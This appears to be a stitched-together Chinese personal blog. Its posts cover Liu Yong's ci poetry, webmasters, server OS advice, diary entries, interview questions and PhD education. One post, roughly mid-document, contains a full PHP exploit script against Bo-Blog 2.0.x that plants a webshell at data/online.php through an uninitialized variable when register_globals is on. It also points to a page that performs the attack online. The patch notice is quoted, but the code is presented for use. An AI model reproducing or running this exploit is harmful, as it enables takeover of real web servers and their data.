个人网站及个人站长始终不被主流媒体所关注,其地位也很难得到认可;更有一些资深的圈内人认为,老是与“个人站长混一起没有出息”;但我却不太认同这种看法;我一直认为个人站长是中国互联网产业最基层的力量;有无数现在的IT精英,风云人物,当初都是做个人站起家的:远的如网易的丁磊(丁磊做的第一个个人主页是“网络大少爷的家”)等人,近的如大众点评网的张涛(大众点评网创办之初很长一段时间都是由其一个人制作并维护的)等人;还有更多大家耳熟能详的名人在从草根转变成精英前,都是个人站长……阅读全文
【求风评词】雨霖铃·寒蝉凄切(词/柳永)

寒蝉凄切,对长亭晚,
骤雨初歇。
都门帐饮无绪,
留恋处,兰舟催发。
执手相看泪眼,
竟无语凝噎。
念去去、千里烟波,
暮霭沈沈楚天阔。

多情自古伤离别,
更那堪、冷落清秋节。
今宵酒醒何处?
杨柳岸、晓风残月。
此去经年,
应是良辰好景虚设。
便纵有、千种风情,
更与何人说!

柳永在民间比较受欢迎,他曾经本来也热衷于功名事业,但因曾以词诣宰相晏殊,又因其写作风格及作品不为晏殊所喜欢,所以仕途坎坷。后来失意无聊,便流连于坊曲。但在民间,只要乐工歌妓每得新腔,必求柳永为其填词作赋,从而其词也开始流行于世,甚至传入禁中。

曾有《鹤冲天》词云:

“忍把浮名,换了浅斟低唱!”

宋仁宗闻而使入落榜,曰:

“何要浮名?且填词去。”

对于柳永的诗词歌赋艺术,我们必须予以认真地对待,因为他在宋词的发展史上起到了重要的推动作用。如果说苏轼和李清照的诗词歌赋艺术在宋词的发展史上具有一砖一瓦一丝不苟的建筑性,那么柳永的诗词歌赋艺术则如一阵音乐性的季节长风吹遍大江南北。

柳永目睹了都市的繁华,熟悉偎红倚翠的生活,颇多描绘太平、歌功颂德之作,由于其长期接触下层,身世穷愁,饱尝羁旅况味,身世之叹与对现实的不满亦融入词中,故其作品也有一定的现实意义。

柳永精通音律,善以口语、俗语入词,所以,他的词通俗易懂,且工于铺叙,同时他通过大量制作慢词而推动了宋词的发展,影响广泛,甚至在西夏亦云:“凡有井水饮处,即能歌柳词。”

可以说《雨霖铃》一词是柳永的代表佳作之一。《雨霖铃》是唐玄宗时教坊大曲名,后用为词曲。王灼在他的《碧鸡漫志》第五卷引《明皇杂录》及《杨贵妃外传》中云:

“帝幸蜀,初入斜谷,霖雨弥旬。栈道中闻铃声,帝方悼念贵妃,采其声为《雨霖铃》曲以寄恨。时梨园弟子惟张野狐一人,善筚篥(古代的一种管乐器),因吹之,遂传于世。”

词中的内容在描写词人离开京城,作别恋人,在倾吐深深的离愁时,还抒发了作者对自身遭遇的感慨和压抑的愤懑。柳永也因此被称为“薄于操行”,而遭至皇帝的冷落。宋仁宗说:

“此人任从风前月下浅斟低唱,岂可令仕宦!”

但是,词中写的“风情”,不是夫妻之情。他死之日,家无余财,是由群妓和谋营葬的,且每逢春日必扫墓,谓之“吊柳七”,可见事出有因啊!尽管“绮罗香泽之态,所在多有”(刘熙载《艺概》),但对失意的文人与被侮辱、被损害的妓女之同情交往,我们还是应该另外予以具体分析的。

从今天的观点来看,柳永的《雨霖铃》与坦率、直露相对应,全篇不用比兴,纯为赋体。柳永演小令、中调为慢调,是在铺叙上着力,看柳永的铺叙功力,《雨霖铃》是很有说服力的一例。

《雨霖铃》主要分为两部分:上片叙别情别景,下片设想别后相思。该词以蝉声凄切起兴,铺叙了分手时难舍难分的情景,上结以“千里烟波,暮霭沈沈楚天阔”的景物描写,来荡开情思,结束分别场面。下片写了男主角设想的别后情景,伤别而适遇清秋,递进而增伤感,设想“酒醒何处”,却以“杨柳岸、晓风残月”的实景来写,遥接“都门帐饮”的意脉,接着转而言情,放笔直下,以加重抒情。

这首词集中展示了柳永发乎于情,而未止乎于一般礼仪,坦率大胆,不同于士大夫,而近于市民色彩的个性。柳永的俚词为市民妓女所喜爱,却为晏殊等所鄙视,这是他善于向民间学习的结果。

这首词虽然纯为赋体,但并非平铺直叙,该词的特点是:一是善于点、染结合,在点、染之中见情致绵密;二是善于转折,在转折中传情写照。刘熙载在他的《艺概》中云:

“词有点染。渚卿《雨霖铃》‘念去去’三句,点出离别冷落;‘今宵’二句,乃就上染之。”

从上面这几句话中我们可以看出柳永词的写作特点。

另外,善于转折还可以从上片“都门帐饮无绪”中可以体会之,留恋、情恶、无绪,“兰舟催发”,俄延、作别,主客观的不断冲突转折来表现之,转折中使别情达到高潮,甚至对人物的心理、神态都作了传神的写照。

这首词在写景叙情方面均采用了白描写法,不乏善于传神之处。如李攀龙在《草堂诗余隽》中写道:

“‘千里烟波’,惜别之情已骋;‘千种风情’,相期之愿又赊。真所谓善传神者。”

谢章铤则在他的《赌棋山庄词话》中这样写道:

“微妙则耐思,而景中有情,……‘杨柳岸、晓风残月’所以脍炙人口也。”

尽管此词为当时的文人士大夫所鄙,但这依然不能抹杀柳永对中国诗词歌赋艺术创作所作出的重要贡献之一。我们刚刚已一句一句地把他的《雨霖铃》读了下来,欣赏了词中的画面,感受到了柳永词歌赋艺术语言回肠荡气的音乐之节奏,同时也感受到了柳永一生的失意与无聊。
         流行的东西毕竟是流行,和当年的柳永还是差点水准,至少现在还有人用他写的词来进行教育,比如:寒蝉凄切,对长亭晚,
骤雨初歇。
都门帐饮无绪,
留恋处,兰舟催发。
执手相看泪眼,
竟无语凝噎。
念去去、千里烟波,
暮霭沈沈楚天阔。

多情自古伤离别,
更那堪、冷落清秋节。
今宵酒醒何处?
杨柳岸、晓风残月。
此去经年,
应是良辰好景虚设。
便纵有、千种风情,
更与何人说!

为此,只能说是有几个还凑合罢了,个人觉得男的有张学友,羽泉的歌和光良,孙楠,女的嘛就:韩红.想不起来还有哪些人了...
              可能是这两天太没有规律了吧,还是以前的老毛病又发了,昨晚感受到了有人对我使用暗能量了,做恶梦了,最后惊醒后发现我已经在流鼻血了,敢忙起来了,我认为这更电脑辐射和自己的遗传有关,也是我考法律硕士的原因,不想再找借口了,我一定会找出是谁在对我用暗能量的,^_^。。。。。。。。。
[p align=center]

   先问你自己
萧亚轩
红蔷薇
byabouplayer
先问你自己
作词:于光中 作曲:Keh Roberson
编曲:Keh Roberson
**  www.3gpnet.com  ** 制作

你踩我影子不让我走
却不知道我的感受
我的心早已远离阅读全文
[p align=null]
[1]关于操作系统的选择

PHP在Linux/FreeBSD下面的性能比在Windows主机下的性能更好。如果您没有必须使用Windows主机的理由(比如需要使用ASP.net或者SQL Server或者Windows Media Server或者Serv-U),那么我推荐您使用Linux/FreeBSD。
如果您需要使用Windows,推荐使用Windows 2003 32位企业版,不推荐使用Windows 2000(性能较差)。
如果您需要使用Linux,推荐使用RedHat Enterprise Linux(最新版本是RedHat Enterprise Linux 4 beta1)。
如果您需要使用FreeBSD,推荐使用最新版本FreeBSD 5.2.1。阅读全文
                由于学校网速超级的慢,But进来大家都回家了,我呢明天就回家了,所以说决定趁网速度快,等大家回到学校后只能网吧升级,嘿嘿,竟然成功了,^_^!预祝大家新年快乐。。。(好像现在网速度很令我满意)
           开源的东西用的人多了,就可能有太多的人喜欢读代码,漏洞总是难免的,谢谢bob提供的升级代码,回家过年了。。。。升级后可能就会好些,也难免有新的漏洞发现,还好我的是linux系统因该大概不会有太大的漏洞,^_^。。

最新看到这个漏洞,是CNhCerKF告诉我的.这段时间忙,而且我劝他改用bo-blog结果他告诉我的最新漏洞.后来在网上和官方看了下.官方是11月22日出的补丁.下面是漏洞的信息.BO-blog是php+mysql架设的.目前网络上用的人很多.在玫瑰的博客有在线提交的页面http://www.mghacker.com/bo-blog.htm提交后,一句话马地址是:/data/online.php,直接拿到webshell.
==========================================================
官方补丁说明:http://www.bo-blog.com/bbs/topic_3604
受影响的版本:2.0.x 所有版本
危险等级:高,局部影响
触发条件:
服务器的PHP设置中,register_globals = On。register_globals = Off的情况下不受影响。
解决方法:
2.0.1 SP1用户或者2.0.2 SP2用户:请下载附件中的补丁程序,解压后上传、覆盖原先的文件。
其它版本用户:请先更新到 2.0.1 SP1用户或者2.0.2 SP2 ,然后打补丁,或者在php.ini中关闭register_globals。
===========================================================
Bo-Blog 2.0.2 sp2 出现了 $nowonline 未初始化的漏洞,导致online.php可以注入webshell,看下漏洞攻击的代码


Bo-Blog 2.0.2 sp2 出现了 $nowonline 未初始化的漏洞,导致online.php可以注入webshell,看下漏洞攻击的代码

ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$data ='nowonline[]=&1468108794=orz&-1844564458=orz';
$server =$argv[1];
$sitepath =$argv[2];

if($argc!=3){
hr();
echo" Uaget: boblog.php www.defence80.com /blog/\r\n";
echo" We Are ScriptKiz....\r\n";
hr();
ver();
exit;
}

echo "\r\nExploit For Bo-blog Last Version \r\n";
echo "Need Register Globals = On\r\n";
echo "\r\n";

preg_match('/X-Powered-By: php\/(.+)\r\n/ie',send("",'index.php'),$php);
echo "We Got php version:\t".$php[1]."\r\n";

function send($cmd,$script)
{
global $sitepath,$server,$cookie,$count;

$path =$sitepath.$script;
$count=$count+1;
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";

//echo $message;
$fd = @fsockopen( $server, 80 );
@fputs($fd,$message);
$resp = "<-_->";
if($fd)
{
while(!@feof($fd)) {
$resp .= @fread($fd,1024);
}
}
@fclose($fd);
$resp .="";
//echo $resp;
return $resp;
}

echo "Exploiting:\t\t............\r\n";
$response=send($data,'index.php');

$data='';
$response=send($data,'data/online.php');
if(strstr($response,'orz')) {
echo "We Got Webshell:\thttp://$server$path/data/online.php\r\n";
echo "For Fun :)";
}
else die("Exploit Failed!\r\n");

function ver(){
//版本信息,排列格式花了不少时间啊, - -|||
echo" +-------------------+ +-------------------+\r\n";
echo" +-www.loveshell.net-+ o'(-_-)'o +-- danger??? --+\r\n";
echo" +-------------------+ 啊?你说不怕火星人啊? +-------------------+\r\n";
hr();
}

function hr(){
echo" +-------------------------------------------------------------------+\r\n";
}

?>
       经过了5个学期的学习,觉得好像这个考研的学习比4个学期都还多,嘿嘿。回家真好。。。
某大型软件公司.net面试题

1:a=10,b=15,在不用第三方变题的前提下,把a,b的值互换
2:已知数组int[] max={6,5,2,9,7,4,0};用快速排序算法按降序对其进行排列,并返回数组
3:请简述面向对象的多态的特性及意义!
4:session喜欢丢值且占内存,Cookis不安全,请问用什么办法代替这两种原始的方法
5:对数据的并发采用什么办法进行处理较好。
6:已知Oracle数据库有GD和ZS两个数据库,GD数据库v_s表有数据写入时,从v_s表中提取最新数据到ZS数据库的D_E表中。请问用什么办法解决这一问题?如果又碰到不能互访的问题时,又用什么办法解决?
7:已知Oracle数据库a,b 现在在a用户权限下,访问b数据库sql语句为select a.* From b a,请改正这一句Sql的写法
8:当对数据库进行海量级的数据插入时,数据库出现报错,错误原因可能有哪些,以你的经验谈谈你的解决办法
9:算法分析
AH 20060625 12 44 01 CAD001
AH 20060625 12 44 01 CAD001
AH 20060625 13 44 02 CAD001
AH 20060625 14 44 03 CAD001
说明:第二列表示日期,第三列表示温度,第四列表示水位,第五列表示流量,第6列表示水位测站编码,每一列表示一个字段
很明显第一条数据和第二条数据重复,然数据表中有主键和外键的约束,是不允许有重复的数据存在的,请构造算法将重复的数据Del掉
10:javascript算法
已知a,b,现在点鼠标a会向b游动,鼠标停,a会停下来
请实现"跑步算法"

某软件公司面试题

1. ASP.NET框架了解多少?
2. 项目中三层结构中的中间层是怎么做的,组件是用什么做的?
3. .NET能做什么?
4. 说明TCP/IP的层次,TCP的下一层叫什么?
5. TCP有哪三部分?
6. .net的后置文件继承的类有哪些?
7. 动态数组的记录集的确定
8. xml的优点与认识
9. Com,Com+,Dcom的区别
10. LIST,MAP,SET在(java和.net中)相关的类和接口
11. Com+组件的版本控制怎么做的,怎样更新组件
12.数据库里的事务是怎么做的,触发器的问题是怎么解决的
13.java与.net的各自优势
14.数据库规划有什么重要性
叮叮咚咚,begin!!!
           近来就要毕业了,有人卖生了,有人游戏人生了,有人恋爱了,有人变态了。呵呵,我现在是双线操作:
变考研究边找工作,谈到找工作就想到还没有修满学分呢,呵呵。也就是没有毕业,为何没有毕业,听俺们细细道来:
    大二的时候呢,本人外面风光无限好,可惜在险峰,没有了学习的激情,原以为工作学习两不误,没想到到头来还挂了一科,学校里面的老师我大都很和睦,很好。于是我就给老师她发了个短信,回复是,我考虑考虑。那时我是大学里面第一次回家,(大一没有回),又是她的最后一门考试,加上平时又没有怎么复习,概括说来主要是为助学金的事情打击了我,我读书又到外面做事情,为的是什么,最后我都把贫困证明给老师了,但是好像不行,我觉得很郁闷。。。why?老师说因为你买了电脑,当时我抗辩说电脑是公司为了我能给她做事而让我在工资里头扣钱的。(最后,我还是直接买下电脑了,没有再干了),因为你贫困,所以不能买电脑,因为我买了,只因那东西是玩的东西,我要说的是要是不买哪有机会用电脑的知识去LG大面试呢,哪有PHP,哪有LINUX,哪有JAVA,哪有ASPNET,哪有AJAX,哪有HIBRATE+STRUCT+SPRING,哪有MYSQL,哪有SQL2000,哪有INTERBASE等的知识,有人说学校有电脑,我想说那简直就是一个笑话,学校的电脑让你去他上面安软件,哈哈,人家那上面有还原卡,你先拿下管理员权限,然后再攻破学校的还原卡和数据中心的密码,否则你就待管理学校电脑的来PK YOU。。。
   光说没有用,举个例子吧,有一次玩得好的让我们去给老师装PROTELL &EDA到学校图书馆,那儿的老师(图书馆的电脑管理员),在那儿守着,我们班同学坐在电脑边上动了下下鼠标键盘,她就发起气来了,让我们离开座位,站在过道上,当时我在场,我们系的老师是一个女老师,管理图书馆电脑的也是一个母的,因为我也动了,所以我有偏见,也更有 发言权,所以,如果你真的想学电脑 ,你就自己去买一台吧,这样可以让你更多的自由空间,因为很多茫茫然的东西都不是想像中那样简明扼要,你要自己走过了才知道,这里我走过了,也希望大家能引以为见,呵呵.(这里是补的,吃钣了.)
   有人说学好本专业啊,这个问题我无法回答。。。。对不起。本人学习的广信息科学与技术,目前好像招聘会上几乎没有,我没有去过招聘会,我是听同学玩得好的说的。。。所以,没有发言权。。。。谢谢◎估计可能研究生可能要好些,我们学校有几个老师是光信息的博士生,嘿嘿,可惜我没有研究的能力啊。末办法了啊。。。#
   为此,打击了我幼小的心灵,过了3年了,现在眼看就是要毕业的人了,站在现在的角度,我仍然觉得我的买电脑的决定没有错,重来一次我还会买的,可能会更多一些理性,不会让你们(不是老师同学,指环境),要不哪里会有LG面试一说,于是在这样七七八八的环境下,我就挂了,很是郁闷,这几年我一直觉得很不爽,但是,这又能怪罪谁呢,我还得生活,还得学习,工作。
 搞笑一下:
为何LG会让你去面试,而我没有挂科,但是还是没有机会:
to:  正因你滑有挂科,你才没有机会,呵;
为何我挂了原子物理和量子力学还是没有机会.
答:因为你挂的科目很难,而他没有挂.
为何我挂了N多门课目,还是不要我了呢?
Re:因为你挂得太多了.
那你为何认为他挂科了还要他呢?
答:因为他连那么难的科都没有挂,而简单的给挂了,说明他有什么内在的一些事,要不就说明他太有个性,我们认为他能,他就能......
    太有个性了,可能有人看后,其实我要的就是这个效果,然后,你要是说,让你长见识了,我觉得你很有想法,完了◎
              今天骑车去清华了,回来打的的啦。车存那儿了,明天考完后从骑车到西门然后坐公交回来,再把车存再西门,后天考完后就骑车回学校,这次考研不容易,好好珍shy惜,谢谢关心和伤害我的人们,我会尽力发挥的,谢谢!!!
        一.  前年买了品牌电脑,被人骂了个够,说还是电脑高手,干嘛还买品牌电脑。我觉得很难回答,喜欢还不行啊。。。。,几年过去了,同学又说,其实品牌电脑挺好的啊,不过我们学校招标的品牌电脑好像垃圾,还有就是东西给换了,我同学的联想的电脑觉得挺好的,主要是整体性能较高。
     二.(时间紧,以后写)


       三.就是今天的大学考试到此结束,哈哈哈。。。以补考来结束我的大学考试,有意思。继续考研了了。。。
编写程序(C语言):点P是半径为r的圆O内一点,OP=d,求过点P的整数旋分别为多少?程序输入r,d,后输出结果.请高手都来发挥.
点击在新窗口中浏览此图片
《在中国,只有“傻瓜”才读博士》是腾讯今日话题的一个组题,里面有几个十分醒目的标题,比如虚弱的中国博士群体、博士教育成了“放羊教育”、功利化学术:导师成“老板”、博士注水:读博=赌博等等。

  凤凰淑女:关于这个话题,看起来好沉重!本来博士群体应该是真正的天之骄子,但现在却弄成了不但是穷人还是"受剥削受压迫者"。一方面是在校读博士的人生活清苦,思想压力和经济压力大,以后的就业压力也大,他们带着美好的心愿,过着清教徒一般的生活,本来指望着读个博士,能出点成果,也让自己的内心有所追求,但是,他们看不到希望,看不到光明,美好的希望在现实面前被打的粉碎。因为导师忙自己的事情,对他们不关心。另一方面,学术界很腐败,导师未必想让学生有所作为。再有,就是钱大气粗的在职、有钱读书者,他们挤占了老师的时间和精力,他们勾兑老师的目的是功利的,他们有钱有手段,这些人对在校读博的青年学生构成很大的压力,老师当然就天平倾斜,哪里还会有时间和精力好好地带在校读博的清贫学生?

  所以,假如读博士的人没有很好的心理素质、顽强的拼搏精神、没有钉子一般的自学和钻研精神,那些混饭吃的老师拿不出课题来给你研究和指导你,你自己也放弃努力去混时间,那样情况就是,我们国家的博士人才培养制度就真的完了!

  一个急功近利的时代,一些浮躁惟利是图的老师,能培养出好的博士吗?根本是不可能的。

  不过我也想问问你们这些读博士的人,当你们在学校起那个心要考硕士和博士的时候,按道理你们已经看到了中国那些所谓的导师的弊病,在本科阶段就知道他们从来不会和你见上面:好的,在国外国内飞来飞去,差的在国内各地飞来飞去,一年有大半年在外面跑,怎么可能指导学生呢?这些情况怎么不引起你们的警惕、还要去考他的博士?你可以不选这样的老师啊!很多优秀人才就是看到导师不敬业,才直接考到外国去读博的,当然,考出去,不但是看到外国的教学机制,还有学费生活费全免,最重要的,是学术风气比国内好,容易出成果.。

  很多人问:北大和清华的学生为什么那么多人出国了?听听这些国内读博的学生的心声吧,他们遇到了多么尴尬和苦闷的学术环境、经济压力、心理压力、就业压力,这就是大部分优秀学子出去读书的原因。

  夏天,正是学生毕业照象的日子,北大门口有两个穿着理科博士服装的年轻人照相,他们比本科生老,但比本科生孱弱,他们历经沧桑缺乏营养的脸上,能够读出来他们的生活和环境,我从心里佩服他们的毅力,艰苦啊!真的不是一般的人能过的日子,他们能毕业,还是在北大毕业,那真是有值得称赞的超强毅力。

  我的熟人最终选择了出国硕博连读,他说国内导师不负责任,看不到人影,天天飘来飘去,半年在国内,半年在国外,对学生无法指导。剩下的助手导师,在国内思想陈旧,对学生困难不了解,不宽容,对学生的基本品质不能掌握,常常发生误会,没有学术气氛。本科受点气呢就算了,读博还这样,那人怎么活?!

  到了国外,拿人家的钱读书,还有生活费不少,日子宽余,当然要做很多事情,比如带大一同学做实验什么的。最重要的,是选导师了,导师的确有绝对的权威,因为导师手上有钱为你付出生活费和学费。但你可以自己选择认为合适的导师,这对导师来说,也是很重要的,假如没有学生选他为导师,他第二年大概就无法续聘。有个北京的同学说,他连续三年都没有成果,他的导师耐心的等待,到第四年,他还有事情回了国一趟,导师也没有取消他的学籍,一直给他保留着,第五年,他回到导师那里,如泉涌般的创造发明就出来了,结果出了许多成果。假如没有导师的理解和等待,他是无法完成这些的。后来的学生听到这个例子,当然很愿意选这个老师做自己的导师。

  因此,我说中国的博士制度,现在是很混乱的,对博士生培养,导师的心被分成两半:一半需要对付在职在位钱大气粗的那部分不在围墙里的这批所谓的学生,在职混文凭的人厉害,可以给导师带来荣耀,带来经费和课题,老师忙着和他们一起,实惠多多呢!导师需要让他们及时拿到博士这块敲门砖,以便更多的在社会上捞取好处。剩下不多的一半精力才用来对付这些辛苦考进去的在校读博穷学生。一个导师每天有多少精力啊?居然能带三十多个博士?!真是不怕误人子弟啊!

  谁都知道在职读博士的比学校围墙内的博士软火,可是导师可不这么看,否则导师就不会连着几个月都不见自己招进来的正规博士生了。这是弊端啊!教育的又一个弊端。我真的想问问,这教育怎么总是走向歧途?正规读书的、凭本事考进去的读博士生,导师不好好培养,却有精力有时间带着其他在职的那些所谓的学生混,那些人又得名又得利,一头工作拿钱,一头还拿个高级文凭,厉害,世界上的好事情都拿给他们弄完了,也不怕闪了腰!

  中国要崛起,是要加强教育的!但加强教育,必须加强博士生培养:一.对待在校博士这一批高端人才,国家要控制导师的质量,只有业务能力和思想能力都达到标准的,才能招博士生,没有爱学生的心、没有甘当人梯、培养人才的心,这样的人不该给他带博士生的名额和机会!美国著名的大学,考核导师的条件就有一条:对学生是不是关心?这是一条硬指标,达不到的,不再聘用。当然,对每个有资格招博士的导师,学校和财团该给他核定一定的经费,在经费允许内,让他有能力发给招来的博士生全额奖学金,也就控制了招生的人数。这些博导的资格,是要有硬指标考核的。

  另外,对在校博士、和在职在位读博士的学生,要分别管理,老师也要分开,否则就不能保证公平,在校穷学生就会吃亏的。成人教育是一辈子的事情,对成人的教育和对在校生的教育应该分成两部分导师,不要搅在一起。

  还有,就是对待国内读博士的学生,包括硕博连读的学生,应该提高他们的待遇,给他们奖学金和生活费,特别是博士生,年龄偏大,又有了家,才300、400一个月生活费,太清贫了,不符合高端人才的鼓励机制。必须给他们适当的费用,否则,是留不住人才在国内读书的。有人说,好点的人才都跑了,我们在为外国培养人才。怎么不是呢,美国对待读博士的学生,一个月相当于人民币2000块生活费,不但养自己,养老婆都够了。所以,我们的教育要出人才,特别是高端人才,必须在奖学金方面大方点。

  另外,就是要在生活上思想上多关心这些博士,他们读出来基本上都是国家的栋梁之材,应该好好培养他们的心理素质,使他们能够健康成长。

  这次网络讨论,说读博士的都是傻子,还有很多负面的说法,比如说博士找不到工作、(千万别喊我博士!)找不到老婆和嫁不出去等等,我想,新的“读书无用论”说法又卷土重来了,但这次不能怪学生,形成这种社会负面看法的,是社会机制。年轻人知道什么,他们只看现实。而社会必须高屋建瓴,必须看到人才是一个国家的战略储备,从科技兴国,走创新之路等等国家方针来看,对待培养博士的教育方法都有必要改进,一直改到能够吸引和留住最优秀的人才在国内。
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